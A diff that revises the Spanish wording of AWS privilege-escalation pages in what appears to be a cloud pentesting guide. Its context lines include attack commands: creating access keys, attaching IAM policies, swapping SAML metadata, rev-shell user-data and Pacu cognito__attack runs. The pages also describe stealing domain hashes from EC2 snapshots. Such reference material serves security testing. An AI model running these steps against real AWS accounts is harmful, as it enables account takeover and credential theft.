```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Consulta cli aquí](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** Privesc indirecto a potencialmente cualquier usuario cuyas credenciales conozca el atacante, esto podría permitir eludir la protección de MFA.
|
||||
|
||||
@@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc indirecto potencial en la aplicación subyacente que utiliza Cognito User Pool que otorga privilegios basados en atributos de usuario.
|
||||
**Impacto Potencial:** Potencial privesc indirecto en la aplicación subyacente que utiliza Cognito User Pool, que otorga privilegios basados en atributos de usuario.
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
Un atacante con este permiso podría **crear un nuevo Cliente de User Pool menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo...
|
||||
Un atacante con este permiso podría **crear un nuevo User Pool Client menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo...
|
||||
|
||||
Lo mismo se puede hacer si en lugar de crear un nuevo cliente, se **modifica uno existente**.
|
||||
|
||||
@@ -234,28 +234,28 @@ aws cognito-idp create-identity-provider \
|
||||
|
||||
### cognito-sync:\* Análisis
|
||||
|
||||
Este es un permiso muy común por defecto en los roles de los Grupos de Identidad de Cognito. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**.
|
||||
Este es un permiso muy común por defecto en los roles de Cognito Identity Pools. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**.
|
||||
|
||||
Este permiso permite leer información de uso de los Grupos de Identidad e IDs de Identidad dentro de los Grupos de Identidad (lo cual no es información sensible).\
|
||||
Los IDs de Identidad pueden tener [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información.
|
||||
Este permiso permite leer información de uso de los Identity Pools y los Identity IDs dentro de los Identity Pools (lo cual no es información sensible).\
|
||||
Los Identity IDs pueden tener [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información.
|
||||
|
||||
Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.
|
||||
Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o en una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.
|
||||
|
||||
### Herramientas Automáticas
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupo de identidades utilizables, roles asumibles en tokens de id, etc.
|
||||
|
||||
Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
|
||||
Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
|
||||
|
||||
#### Uso
|
||||
|
||||
Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y cliente de grupo de usuarios dados:
|
||||
Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y un cliente de grupo de usuarios dados:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual:
|
||||
Uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
|
||||
+1
-1
@@ -50,7 +50,7 @@ Después de la creación del pipeline, el atacante actualiza su definición para
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** debe ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** debe ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**.
|
||||
> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** necesita ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** necesita ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**.
|
||||
>
|
||||
> Además, la instancia EC2 solo tendrá acceso al rol asumible por la instancia EC2 (por lo que solo puede robar ese).
|
||||
```bash
|
||||
|
||||
@@ -12,7 +12,7 @@ Para más información sobre dynamodb, consulta:
|
||||
|
||||
### Post Explotación
|
||||
|
||||
Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo por tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**:
|
||||
Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo con tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
|
||||
@@ -20,7 +20,7 @@ La herramienta [https://github.com/Static-Flow/CloudCopy](https://github.com/Sta
|
||||
|
||||
### **`ec2:CreateSnapshot`**
|
||||
|
||||
Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
|
||||
Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
|
||||
|
||||
Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear una instantánea.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Para más **info sobre EC2** consulta:
|
||||
Para más **información sobre EC2** consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Ten cuidado con GuardDuty si usas las credenciales del rol IAM fuera de la instancia:
|
||||
Ten cuidado con GuardDuty si usas las credenciales del rol de IAM fuera de la instancia:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
@@ -65,7 +65,7 @@ Para aprender a **forzar los servicios de ECS a ejecutarse** en esta nueva insta
|
||||
aws-ecs-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías ser capaz de registrar la instancia dentro del clúster y realizar el ataque comentado.
|
||||
Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del clúster y realizar el ataque comentado.
|
||||
|
||||
**Impacto Potencial:** Privesc directo a los roles de ECS adjuntos a las tareas.
|
||||
|
||||
@@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una i**nstance comprometida:**
|
||||
Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una **instancia** comprometida:
|
||||
|
||||
- Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`) \*
|
||||
```bash
|
||||
@@ -90,7 +90,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el asociado a ella.
|
||||
Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el que está asociado a ella.
|
||||
|
||||
- Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** \*
|
||||
```bash
|
||||
@@ -123,7 +123,7 @@ aws ec2 request-spot-instances \
|
||||
|
||||
Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener un **rev shell a la instancia EC2**.
|
||||
|
||||
Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
|
||||
Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -178,11 +178,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Impacto Potencial:** Privesc directo a un rol EC2 diferente.
|
||||
**Impacto Potencial:** Privesc directo a un rol de EC2 diferente.
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol IAM**.
|
||||
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -219,7 +219,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**.
|
||||
|
||||
Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
|
||||
Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -231,9 +231,9 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
De esta manera, no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
|
||||
Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
|
||||
|
||||
**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución.
|
||||
**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
Contenido de `my-policy.json`:
|
||||
Contenidos de `my-policy.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -87,7 +87,7 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Público, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.
|
||||
**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
|
||||
@@ -145,7 +145,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un atacante con el **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el rol de IAM adjunto a él (necesitas los permisos de descripción porque es necesario ejecutar `aws ecs execute-command`).\
|
||||
Sin embargo, para hacer eso, la instancia del contenedor necesita estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está).
|
||||
Sin embargo, para hacer eso, la instancia del contenedor debe estar ejecutando el **agente ExecuteCommand** (que por defecto no lo está).
|
||||
|
||||
Por lo tanto, el atacante podría intentar:
|
||||
|
||||
@@ -172,7 +172,7 @@ aws ecs execute-command --interactive \
|
||||
- Si tiene **`ecs:CreateService`**, cree un servicio con `aws ecs create-service --enable-execute-command [...]`
|
||||
- Si tiene **`ecs:UpdateService`**, actualice un servicio con `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Puede encontrar **ejemplos de esas opciones** en **secciones anteriores de privesc de ECS**.
|
||||
Puede encontrar **ejemplos de estas opciones** en **secciones anteriores de privesc de ECS**.
|
||||
|
||||
**Impacto Potencial:** Privesc a un rol diferente adjunto a contenedores.
|
||||
|
||||
@@ -194,7 +194,7 @@ aws-ec2-privesc.md
|
||||
|
||||
### `?ecs:RegisterContainerInstance`
|
||||
|
||||
TODO: ¿Es posible registrar una instancia de una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante?
|
||||
TODO: ¿Es posible registrar una instancia de otra cuenta de AWS para que las tareas se ejecuten en máquinas controladas por el atacante?
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
|
||||
@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id <fs-id> \
|
||||
|
||||
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
|
||||
|
||||
En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad permite el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**:
|
||||
En un escenario donde un atacante descubre que el EFS tiene un objetivo de montaje en su subred pero **ningún grupo de seguridad está permitiendo el tráfico**, podría simplemente **cambiar eso modificando los grupos de seguridad seleccionados**:
|
||||
```bash
|
||||
aws efs modify-mount-target-security-groups \
|
||||
--mount-target-id <value> \
|
||||
|
||||
+3
-3
@@ -44,11 +44,11 @@ aws elasticbeanstalk create-environment --application-name MyApp --environment-n
|
||||
```
|
||||
Si ya se ha creado un entorno y **no quieres crear uno nuevo**, puedes simplemente **actualizar** el existente.
|
||||
|
||||
- Empaqueta tu código de aplicación y dependencias en un archivo ZIP:
|
||||
- Empaqueta el código de tu aplicación y las dependencias en un archivo ZIP:
|
||||
```python
|
||||
zip -r MyApp.zip .
|
||||
```
|
||||
- Cargue el archivo ZIP a un bucket de S3:
|
||||
- Carga el archivo ZIP a un bucket de S3:
|
||||
```python
|
||||
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
|
||||
```
|
||||
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Una vez que tengas **tu propio entorno de Beanstalk ejecutando** tu rev shell, es hora de **migrarlo** al entorno de los **víctimas**. Para hacerlo, necesitas **actualizar la política del bucket** de tu bucket S3 de Beanstalk para que el **víctima pueda acceder a él** (Ten en cuenta que esto **abrirá** el bucket a **TODOS**):
|
||||
Una vez que tengas **tu propio entorno de Beanstalk en funcionamiento** con tu rev shell, es hora de **migrarlo** al entorno de los **víctimas**. Para hacerlo, necesitas **actualizar la política del bucket** de tu bucket S3 de Beanstalk para que el **víctima pueda acceder a él** (Ten en cuenta que esto **abrirá** el bucket a **TODOS**):
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
|
||||
@@ -13,7 +13,7 @@ Más **info sobre EMR** en:
|
||||
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
|
||||
|
||||
Un atacante con estos permisos puede **ejecutar un nuevo clúster EMR adjuntando roles de EC2** e intentar robar sus credenciales.\
|
||||
Ten en cuenta que para hacer esto necesitarías **conocer alguna clave privada ssh importada en la cuenta** o importar una, y poder **abrir el puerto 22 en el nodo maestro** (puedes ser capaz de hacer esto con los atributos `EmrManagedMasterSecurityGroup` y/o `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
|
||||
Ten en cuenta que para hacer esto necesitarías **conocer alguna clave privada ssh importada en la cuenta** o importar una, y poder **abrir el puerto 22 en el nodo maestro** (puedes hacer esto con los atributos `EmrManagedMasterSecurityGroup` y/o `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
|
||||
```bash
|
||||
# Import EC2 ssh key (you will need extra permissions for this)
|
||||
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
|
||||
@@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id <id>
|
||||
# In MasterPublicDnsName you can find the DNS to connect to the master instance
|
||||
## You cna also get this info listing EC2 instances
|
||||
```
|
||||
Note cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se especifica en `--ec2-attributes` dentro de `InstanceProfile`. Sin embargo, esta técnica solo permite robar las credenciales del rol EC2 (ya que te conectarás a través de ssh) pero no el Rol IAM de EMR.
|
||||
Nota cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se especifica en `--ec2-attributes` dentro de `InstanceProfile`. Sin embargo, esta técnica solo permite robar las credenciales del rol EC2 (ya que te conectarás a través de ssh) pero no el Rol IAM de EMR.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol de servicio EC2 especificado.
|
||||
|
||||
@@ -45,7 +45,7 @@ Note cómo un **rol EMR** se especifica en `--service-role` y un **rol ec2** se
|
||||
Con estos permisos, un atacante puede ir a la **consola de AWS**, crear un Notebook y acceder a él para robar el Rol IAM.
|
||||
|
||||
> [!CAUTION]
|
||||
> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que podía robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM.
|
||||
> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que pude robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol gestionado por AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
|
||||
@@ -55,7 +55,7 @@ Solo con este permiso, un atacante podrá acceder al **Jupyter Notebook y robar
|
||||
La URL del notebook es `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
|
||||
|
||||
> [!CAUTION]
|
||||
> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que podía robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM.
|
||||
> Incluso si adjuntas un rol IAM a la instancia del notebook, en mis pruebas noté que pude robar credenciales gestionadas por AWS y no credenciales relacionadas con el rol IAM.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol gestionado por AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
|
||||
# SSH with the glue user
|
||||
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
||||
```
|
||||
Para propósitos de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue.
|
||||
Con fines de sigilo, se recomienda usar las credenciales de IAM desde dentro de la máquina virtual de Glue.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol de servicio de Glue especificado.
|
||||
|
||||
@@ -41,7 +41,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
|
||||
# SSH with the glue user
|
||||
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
||||
```
|
||||
**Impacto Potencial:** Privesc al rol del servicio glue utilizado.
|
||||
**Impacto Potencial:** Privesc al rol de servicio de glue utilizado.
|
||||
|
||||
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
|
||||
|
||||
@@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
|
||||
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
|
||||
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
|
||||
```
|
||||
**Impacto Potencial:** Privesc al rol del servicio glue especificado.
|
||||
**Impacto Potencial:** Privesc al rol de servicio de glue especificado.
|
||||
|
||||
### `glue:UpdateJob`
|
||||
|
||||
Solo con el permiso de actualización, un atacante podría robar las credenciales IAM del rol ya adjunto.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol del servicio glue adjunto.
|
||||
**Impacto Potencial:** Privesc al rol de servicio de glue adjunto.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Para más información sobre IAM, consulta:
|
||||
Para más información sobre IAM consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
@@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una posible escalación de privilegios.
|
||||
Permite crear un ID de clave de acceso y una clave de acceso secreta para otro usuario, lo que puede llevar a una escalación de privilegios potencial.
|
||||
|
||||
**Explotar:**
|
||||
```bash
|
||||
@@ -79,7 +79,7 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impacto:** Escalación directa de privilegios dentro de los permisos del servicio del usuario.
|
||||
**Impacto:** Escalación de privilegios directa dentro de los permisos de servicio del usuario.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
@@ -137,7 +137,7 @@ Permite agregarse a uno mismo a un grupo de IAM, escalando privilegios al hereda
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impacto:** Escalación directa de privilegios al nivel de los permisos del grupo.
|
||||
**Impacto:** Escalación de privilegios directa al nivel de los permisos del grupo.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
@@ -167,7 +167,7 @@ Donde la política se ve como la siguiente, que le da al usuario permiso para as
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una posible escalación de privilegios indirecta.
|
||||
Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede llevar a una escalación de privilegios indirecta.
|
||||
|
||||
**Explotación para la carga de clave SSH:**
|
||||
```bash
|
||||
@@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que confíe** en ella.
|
||||
Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **rol que le esté confiando**.
|
||||
|
||||
Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, así que puedes poner el tuyo, iniciar sesión y configurar el anterior de nuevo.
|
||||
```bash
|
||||
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(No estoy seguro sobre esto) Si un atacante tiene estos **permisos**, podría agregar un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor.
|
||||
(No estoy seguro de esto) Si un atacante tiene estos **permisos**, podría agregar un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
|
||||
@@ -70,7 +70,7 @@ aws kms generate-data-key \
|
||||
–-key-spec AES_256 \
|
||||
--grant-tokens $token
|
||||
```
|
||||
Nota que es posible listar los permisos de las claves con:
|
||||
Tenga en cuenta que es posible listar los permisos de las claves con:
|
||||
```bash
|
||||
aws kms list-grants --key-id <value>
|
||||
```
|
||||
|
||||
@@ -13,8 +13,8 @@ Más información sobre lambda en:
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Los usuarios con los permisos **`iam:PassRole`, `lambda:CreateFunction` y `lambda:InvokeFunction`** pueden escalar sus privilegios.\
|
||||
